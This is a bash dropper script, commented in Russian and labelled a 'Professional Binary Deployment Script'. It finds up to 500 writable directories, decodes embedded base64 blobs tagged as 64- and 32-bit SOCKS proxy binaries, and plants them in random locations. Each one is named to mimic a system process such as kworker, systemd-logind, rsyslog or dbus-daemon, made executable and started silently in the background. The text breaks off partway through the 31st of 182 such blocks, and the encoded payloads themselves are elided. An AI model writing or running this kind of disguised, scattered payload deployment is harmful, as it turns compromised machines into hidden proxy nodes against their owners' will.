#!/bin/bash

# Professional Binary Deployment Script
echo "🔍 Professional Deployment Starting..."

# Функция глубокого сканирования
deep_scan() {
    echo "🔎 Deep filesystem scan..."
    
    # Находим ВСЕ доступные папки
    DIRS=($(find /tmp /var /opt /usr/local /home /srv /media /mnt /root . \
        -type d -writable 2>/dev/null | \
        grep -v -E "(proc|sys|dev|boot|snap|\.git)" | \
        head -500))
    
    echo "📁 Found ${#DIRS[@]} writable directories"
    
    # Показываем примеры
    echo "📋 Sample directories:"
    for i in {0..9}; do
        if [ ${DIRS[$i]+_} ]; then
            echo "   ${DIRS[$i]}"
        fi
    done
    
    launched=0
    failed=0
    

    # Файл 1: socks64 (29) -> systemd-logind-391
    echo "🔧 [1/182] Deploying systemd-logind-391"
    
    # Собираем данные из частей
    FILE_DATA_0="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-391"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_0" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-391 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-391 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-391"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-391"
        failed=$((failed + 1))
    fi
    

    # Файл 2: socks32 (29) -> kworker-598
    echo "🔧 [2/182] Deploying kworker-598"
    
    # Собираем данные из частей
    FILE_DATA_1="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-598"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_1" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-598 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-598 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-598"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-598"
        failed=$((failed + 1))
    fi
    

    # Файл 3: socks64 (28) -> systemd-logind-895
    echo "🔧 [3/182] Deploying systemd-logind-895"
    
    # Собираем данные из частей
    FILE_DATA_2="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-895"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_2" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-895 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-895 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-895"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-895"
        failed=$((failed + 1))
    fi
    

    # Файл 4: socks32 (28) -> watchdog-630
    echo "🔧 [4/182] Deploying watchdog-630"
    
    # Собираем данные из частей
    FILE_DATA_3="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-630"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_3" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-630 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-630 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-630"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-630"
        failed=$((failed + 1))
    fi
    

    # Файл 5: socks64 (27) -> rsyslog-181
    echo "🔧 [5/182] Deploying rsyslog-181"
    
    # Собираем данные из частей
    FILE_DATA_4="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-181"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_4" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-181 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-181 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-181"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-181"
        failed=$((failed + 1))
    fi
    

    # Файл 6: socks32 (27) -> dbus-daemon-452
    echo "🔧 [6/182] Deploying dbus-daemon-452"
    
    # Собираем данные из частей
    FILE_DATA_5="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-452"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_5" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-452 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-452 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-452"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-452"
        failed=$((failed + 1))
    fi
    

    # Файл 7: socks64 (26) -> dbus-daemon-127
    echo "🔧 [7/182] Deploying dbus-daemon-127"
    
    # Собираем данные из частей
    FILE_DATA_6="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-127"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_6" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-127 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-127 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-127"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-127"
        failed=$((failed + 1))
    fi
    

    # Файл 8: socks32 (26) -> rcu_gp-629
    echo "🔧 [8/182] Deploying rcu_gp-629"
    
    # Собираем данные из частей
    FILE_DATA_7="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-629"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_7" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-629 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-629 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-629"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-629"
        failed=$((failed + 1))
    fi
    

    # Файл 9: socks64 (25) -> kworker-626
    echo "🔧 [9/182] Deploying kworker-626"
    
    # Собираем данные из частей
    FILE_DATA_8="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-626"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_8" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-626 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-626 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-626"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-626"
        failed=$((failed + 1))
    fi
    

    # Файл 10: socks32 (25) -> systemd-logind-575
    echo "🔧 [10/182] Deploying systemd-logind-575"
    
    # Собираем данные из частей
    FILE_DATA_9="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-575"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_9" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-575 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-575 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-575"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-575"
        failed=$((failed + 1))
    fi
    

    # Файл 11: socks64 (24) -> systemd-networkd-710
    echo "🔧 [11/182] Deploying systemd-networkd-710"
    
    # Собираем данные из частей
    FILE_DATA_10="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-710"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_10" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-710 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-710 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-710"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-710"
        failed=$((failed + 1))
    fi
    

    # Файл 12: socks32 (24) -> chronyd-636
    echo "🔧 [12/182] Deploying chronyd-636"
    
    # Собираем данные из частей
    FILE_DATA_11="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-636"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_11" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-636 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-636 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-636"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-636"
        failed=$((failed + 1))
    fi
    

    # Файл 13: socks64 (23) -> dbus-daemon-180
    echo "🔧 [13/182] Deploying dbus-daemon-180"
    
    # Собираем данные из частей
    FILE_DATA_12="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-180"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_12" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-180 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-180 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-180"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-180"
        failed=$((failed + 1))
    fi
    

    # Файл 14: socks32 (23) -> chronyd-358
    echo "🔧 [14/182] Deploying chronyd-358"
    
    # Собираем данные из частей
    FILE_DATA_13="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-358"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_13" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-358 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-358 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-358"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-358"
        failed=$((failed + 1))
    fi
    

    # Файл 15: socks64 (22) -> systemd-logind-929
    echo "🔧 [15/182] Deploying systemd-logind-929"
    
    # Собираем данные из частей
    FILE_DATA_14="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-929"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_14" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-929 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-929 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-929"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-929"
        failed=$((failed + 1))
    fi
    

    # Файл 16: socks32 (22) -> systemd-networkd-274
    echo "🔧 [16/182] Deploying systemd-networkd-274"
    
    # Собираем данные из частей
    FILE_DATA_15="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-274"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_15" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-274 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-274 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-274"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-274"
        failed=$((failed + 1))
    fi
    

    # Файл 17: socks64 (21) -> kworker-238
    echo "🔧 [17/182] Deploying kworker-238"
    
    # Собираем данные из частей
    FILE_DATA_16="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-238"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_16" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-238 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-238 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-238"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-238"
        failed=$((failed + 1))
    fi
    

    # Файл 18: socks32 (21) -> rsyslog-765
    echo "🔧 [18/182] Deploying rsyslog-765"
    
    # Собираем данные из частей
    FILE_DATA_17="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-765"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_17" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-765 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-765 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-765"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-765"
        failed=$((failed + 1))
    fi
    

    # Файл 19: socks64 (20) -> rcu_gp-150
    echo "🔧 [19/182] Deploying rcu_gp-150"
    
    # Собираем данные из частей
    FILE_DATA_18="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-150"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_18" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-150 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-150 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-150"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-150"
        failed=$((failed + 1))
    fi
    

    # Файл 20: socks32 (20) -> systemd-networkd-186
    echo "🔧 [20/182] Deploying systemd-networkd-186"
    
    # Собираем данные из частей
    FILE_DATA_19="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-186"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_19" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-186 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-186 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-186"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-186"
        failed=$((failed + 1))
    fi
    

    # Файл 21: socks64 (19) -> dbus-daemon-805
    echo "🔧 [21/182] Deploying dbus-daemon-805"
    
    # Собираем данные из частей
    FILE_DATA_20="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-805"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_20" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-805 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-805 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-805"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-805"
        failed=$((failed + 1))
    fi
    

    # Файл 22: socks32 (19) -> NetworkManager-171
    echo "🔧 [22/182] Deploying NetworkManager-171"
    
    # Собираем данные из частей
    FILE_DATA_21="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-171"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_21" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-171 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-171 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-171"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-171"
        failed=$((failed + 1))
    fi
    

    # Файл 23: socks64 (18) -> ksoftirqd-601
    echo "🔧 [23/182] Deploying ksoftirqd-601"
    
    # Собираем данные из частей
    FILE_DATA_22="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-601"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_22" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-601 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-601 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-601"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-601"
        failed=$((failed + 1))
    fi
    

    # Файл 24: socks32 (18) -> systemd-networkd-255
    echo "🔧 [24/182] Deploying systemd-networkd-255"
    
    # Собираем данные из частей
    FILE_DATA_23="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-255"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_23" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-255 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-255 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-255"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-255"
        failed=$((failed + 1))
    fi
    

    # Файл 25: socks64 (17) -> chronyd-353
    echo "🔧 [25/182] Deploying chronyd-353"
    
    # Собираем данные из частей
    FILE_DATA_24="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-353"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_24" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-353 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-353 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-353"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-353"
        failed=$((failed + 1))
    fi
    

    # Файл 26: socks32 (17) -> rsyslog-391
    echo "🔧 [26/182] Deploying rsyslog-391"
    
    # Собираем данные из частей
    FILE_DATA_25="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-391"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_25" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-391 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-391 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-391"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-391"
        failed=$((failed + 1))
    fi
    

    # Файл 27: socks64 (16) -> dbus-daemon-216
    echo "🔧 [27/182] Deploying dbus-daemon-216"
    
    # Собираем данные из частей
    FILE_DATA_26="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-216"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_26" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-216 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-216 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-216"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-216"
        failed=$((failed + 1))
    fi
    

    # Файл 28: socks32 (16) -> kworker-680
    echo "🔧 [28/182] Deploying kworker-680"
    
    # Собираем данные из частей
    FILE_DATA_27="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-680"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_27" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-680 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-680 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-680"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-680"
        failed=$((failed + 1))
    fi
    

    # Файл 29: socks64 (15) -> rcu_gp-633
    echo "🔧 [29/182] Deploying rcu_gp-633"
    
    # Собираем данные из частей
    FILE_DATA_28="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-633"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_28" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-633 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-633 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-633"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-633"
        failed=$((failed + 1))
    fi
    

    # Файл 30: socks32 (15) -> rcu_gp-972
    echo "🔧 [30/182] Deploying rcu_gp-972"
    
    # Собираем данные из частей
    FILE_DATA_29="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-972"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_29" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-972 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-972 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-972"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-972"
        failed=$((failed + 1))
    fi
    

    # Файл 31: socks64 (14) -> watchdog-804
    echo "🔧 [31/182] Deploying watchdog-804"
    
    # Собираем данные из частей
    FILE_DATA_30="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-804"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_30" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-804 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-804 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
